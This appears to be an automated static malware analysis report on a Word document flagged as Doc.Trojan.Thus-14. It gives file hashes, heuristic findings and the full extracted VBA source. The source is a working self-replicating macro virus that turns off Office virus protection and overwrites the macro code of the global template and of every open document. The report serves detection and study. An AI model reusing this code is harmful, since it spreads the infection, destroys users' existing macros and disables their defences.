Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 640e07016912dd0e…

MALICIOUS

Office (OLE)

79.5 KB Created: 2010-10-16 22:12:00 Authoring application: Microsoft Word 11.5.6 First seen: 2014-02-02
MD5: 06ecd903f5cb0512f979de2924508c6f SHA-1: 65a41dc6a586339f574c67efe4eef97f84a773f2 SHA-256: 640e07016912dd0e4bcca5686fdba12ec625199e9cf98f20fa7f2e4b60157745
210 Risk Score

Heuristics 5

  • ClamAV: Doc.Trojan.Thus-14 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-14
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).codemodule.Lines(3, 1) <> "'Anti-Virus'" Then
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.usgbc.org/ShowFile In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2288 bytes
SHA-256: 2766867fe52356fffe720808fb1010440ce9ea6b15dfcc182e2e43136b74bb6b
Detection
ClamAV: Doc.Trojan.Thus-14
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
'Anti-Virus'
' This virus is an alteration of a virus which was
' designed to delete all files from one's C: drive on Dec 13th.
' This code is completely benign.
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).codemodule.Lines(3, 1) <> "'Anti-Virus'" Then
        NormalTemplate.VBProject.VBComponents.Item(1).codemodule _
        .deletelines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
        .codemodule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines = 0 Then
        NormalTemplate.VBProject.VBComponents.Item(1).codemodule _
        .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
        .codemodule.Lines(1, ActiveDocument.VBProject.VBComponents _
        .Item(1).codemodule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    
    For k = 1 To Application.Documents.Count
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).codemodule.Lines(3, 1) <> "'Anti-Virus'" Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .codemodule.deletelines 1, Application.Documents.Item(k) _
            .VBProject.VBComponents.Item(1).codemodule.CountOfLines
        End If
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).codemodule.CountOfLines = 0 Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .codemodule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
            .Item(1).codemodule.Lines(1, NormalTemplate.VBProject _
            .VBComponents.Item(1).codemodule.CountOfLines)
        End If
    Next k
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub

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